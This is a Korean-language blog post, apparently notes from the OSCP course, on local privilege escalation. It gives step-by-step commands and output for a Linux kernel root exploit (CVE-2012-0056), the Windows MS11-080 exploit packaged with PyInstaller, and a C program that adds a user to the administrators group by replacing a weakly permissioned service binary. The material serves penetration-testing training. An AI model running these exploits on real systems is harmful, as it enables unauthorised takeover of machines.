11. - Privilege Escalation
권한 상승은 기계 또는 네트워크에 대한 접근의 수준을 높이는 과정이다. 대부분의 운영 체제 및 기타 작업 환경에서는 사용자 권한 분리 모델을 준수하기 위해 권한 상승 프로세스가 본질적으로 방지된다.
그러므로, 정의에 따르면, 권한 상승 과정은 이 보안 모델을 깨는 것을 포함할 것이다.
11.1 - 권한 상승 공격
권한상승 표현은 까다로운 것이다.
정의상 대부분의 Exploit은 이 범주에 속한다. 만약 그것들이 작동한다면, 그것들은 기존의 취약성을 성공적으로 이용함으로써 당신의 권한을 어떤 식으로든 타겟 머신에 올릴 것이다.
그러나, 권한상승 이용이라는 용어는 대개 피해자의 기계에서 로컬로 실행되는, 일반적으로 더 높은 특권을 가진 프로세스나 서비스를 이용하기 위해 남겨진다. Exploit이 성공하면 우리의 Exploit 페이로드가 더 높은 권한으로 실행될 것이다.
11.1.1 - Linux에서 로컬 권한 상승 공격 예제
다음 시나리오를 고려하십시오. Ubuntu 시스템에서 사용자에 대한 SSH 자격 증명을 검색하셨습니다.
SSH를 사용하여 일반 사용자 권한이 있는지 확인하십시오.
당신은 머신이 패치되지 않은 Ubuntu 11.10, 32비트를 실행하고 있다는 것을 발견합니다.
당신은 CVE 2012-0056에 영향을 미치는 것으로 알려진 Linux 커널 루트 Exploit을 사용하기로 결정한다.
당신은 공격 대상 시스템에 Exploit을 다운로드하고 컴파일한 다음 실행합니다.
offsec@ubuntu:~$ id
uid=1000(offsec) gid=1000(offsec)
offsec@ubuntu:~$ cat /etc/shadow|grep root
cat: /etc/shadow: Permission denied
offsec@ubuntu:~$ wget -O exploit.c http://www.exploit-db.com/download/18411
offsec@ubuntu:~$ gcc -o mempodipper exploit.c
offsec@ubuntu:~$ ./mempodipper
....
[+] Seeking to offset 0x8049514.
[+] Executing su with shellcode.
# id
uid=0(root) gid=0(root)
# cat /etc/shadow |grep root
root:!:15806:0:99999:7:::
#
커널 취약성이 성공적으로 이용되어 우리에게 기계에 대한 루트 권한을 제공한다. 이 취약성에 대한 자세한 내용은 http://blog.zx2c4.com/749에서 이 주제에 대해 릴리스된 원래 블로그 게시물을 참조하십시오.
11.1.2 - Windows에서 로컬 권한 상승 공격
Windows 커널에 대한 모드. 이 경우, Ancillary FunctionDriver(afd.sys)는 로컬 공격자가 앨리어스 조작된 입력을 전달하여 커널 공간에서 임의의 메모리를 덮어쓸 수 있도록 한다. 이는 32비트 버전과 64비트 버전의 Windows XP와 Windows 2003 모두에 영향을 미치면서 시스템을 완전히 제어하게 된다.
Python 스크립트는 이 취약성을 이용하기 위해 작성되었으며, 이 취약성은 Expoit Database에서 확인할 수 있다.
XP/2003 Afd.sys MS(11-080)
- Exploit-DB 사이트의 취약점 설명 그림 -
실제 시나리오에서, 우리가 이러한 권한 상승 이용을 실행해야 할 경우, 우리는 아마도 희생자의 기계에 Python 환경을 미리 설치하지 않을 것이다. 그러므로, 우리가 이 Exploit을 사용하기 전에, 우리는 그것을 목표 기계에서 실행시킬 수 있는 쉬운 방법을 알아내야 한다.
한 가지 옵션은 PyInstaller 모듈을 사용하여 Python 스크립트에서 독립 실행형 윈도우즈 실행 파일을 생성하는 것이다.
윈도우즈 환경에 PyWin32를 설치하고 Pyinstaller 파일(Windows 7 랩 컴퓨터의 도구 디렉터리에 있음)을 추출한 후
필요한 독립 실행형 실행 파일을 생성하십시오.
python pyinstaller.py --onefile ms11-080.py
Pyinstaller will now byte compile the Python script to a Windows PE executable:
python pytinstaller.py --onfile ms11-080.py
Once this file is ready, we copy it over to our victim machine, and execute it as a low privileged user, to gain Windows SYSTEM privileges:
1. 사용자 추가 시도
>net user hax0r hax0r /add
Acess is denied
2. 익스 실행
>ms11-080.exe -O XP
......
3. 시스템 권한 확인
>whoami
NT AUTORITY\SYSTEM
4. 다시 명령어 실행
>net user hax0r hax0r /add
The command completed successfuly.
11.2 - Configuration Issues(설정 이슈)
침투 시험 계약에서, 우리는 종종 더 높은 권한을 가진 취약한 서비스를 적극적으로 이용하기 보다는 피해자의 기계에서 다양한 잘못된 구성을 발견함으로써 특권 상승 과정이 더 자주 달성된다는 것을 발견한다. 이는 특히 패치와 업데이트가 정기적으로 설치되어 상대적으로 알려진 취약성 공격 표면이 작은 기업 환경에서 더욱 그러하다.
11.2.1 - Incorrect File and Service Permissions (잘못된 파일, 서비스 권한)
소프트웨어는 오류가 발생하기 쉽다. 우리는 이미 우리의 버퍼 오버플로 모듈에서 그것을 보았다.
그러나 소프트웨어 개발자들이 걱정해야 할 문제는 입력 검증만이 아니다. 다음 시나리오를 상상해 보십시오.
소프트웨어 개발자는 윈도 서비스로 실행되는 프로그램을 만든다. 프로그램을 설치하는 동안 개발자는 서비스에서 사용하는 파일의 액세스 권한을 확인하는데 주의를 기울이지 않으며, 파일은 모든 Windows 그룹이 파일에 대한 전체 읽기 및 쓰기 액세스 권한을 가질 정도로 남아 있다.
이렇게 하면 권한이 낮은 사용자가 악의적인 것으로 사용될 수 있는 파일로 대체할 수 있다.
그런 다음에는 서비스를 다시 시작하거나 시스템을 재부팅하면 악성 파일이시스템 권한으로 실행된다.
idkacls 유틸리티를 사용하면 Photodex ProShow Producer v5.0.3310에 의해 설치된 ScsiAccess 서비스를 확인하여
다음 출력과 같이 이러한 안전하지 않은 사용 권한을 확인할 수 있다.
c:\Program Files\Photodex\ProShow Producer>icacls scsiaccess.exe
scsiaccess.exe NT AUTHORITY\SYSTEM:(I)(F)
BUILTIN\Administrators:(I)(F)
BUILTIN\Users:(I)(RX)
APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
Everyone:(I) <- 취약함
이것을 시도해 보고, 로컬 관리자 그룹에 "low"이라는 일반 Windows 사용자를 추가하는 Windows 실행 파일을 생성해 봅시다.
우리가 사용하는 코드는 다음과 유사하게 보일 것이다.
root@kali:~# cat useradd.c
#include /* system, NULL, EXIT_FAILURE */
int main ()
{
int i;
i=system ("net localgroup administrators low /add");
return 0;
}
With our code ready, we can cross-compile it using mingw as follows
root@kali:~# i686-w64-mingw32-gcc -o scsiaccess.exe useradd.
일단 컴파일되면, 우리는 원래의 scsiaccess.exe를 유리의 것으로 대체한다.
그리고 인내심을 가지고 서비스 다시 시작 또는 시스템 재부팅을 기다린다.
다음에 서비스가 시작되면 가짜 scsiaccess.exe 파일은 시스템 권한으로 실행되므로 우리의 권한이 낮은 사용자가 Administrators 그룹에 성공적으로 추가된다.
11.2.2 - Think Like a Network Administrator
흔하게도, 권한 상승으로 이어질 수 있는 정보를 포함하는 다양한 보호되지 않는 파일을 발견할 수 있다.
예를 들어 데이터베이스 기반 IIS 서버에 대한 권한 없는 액세스 권한이 있는 경우를 가정해 보십시오.
사이트를 실행하는 코드를 파고들어 관리 데이터베이스 자격 증명을 검색하십시오.
운좋게도 데이터베이스는 외부적으로 이용할 수 있다.
새로 찾은 관리 자격 증명으로 데이터베이스에 연결하고 administrative, or SYSTEM 권한이 있는 데이터베이스를 통해 시스템 명령을 실행하십시오.
11.2.3 - Exercises
1. Use pyinstaller to compile a Python exploit into a standalone .exe.
2. Install Photodex ProShow Producer on your Windows host.
Escalate privileges from a standard user account.
3. Can you find additional ways of escalating permissions, outside of what is described in the course?
'OSCP > OSCP Course PDF' 카테고리의 다른 글
12. - Client Side Attacks (0) | 2020.03.10 |
---|---|
14. Password Attacks -2 (0) | 2020.03.06 |
14. Password Attacks -1 (cewl,fgdump) (0) | 2020.03.04 |
16. Metasploit-2 / Payload, msfvenom, Reverse HTTPS Meterpreter (0) | 2020.03.03 |
7. Win32 Buffer Overflow Exploitation (0) | 2020.03.02 |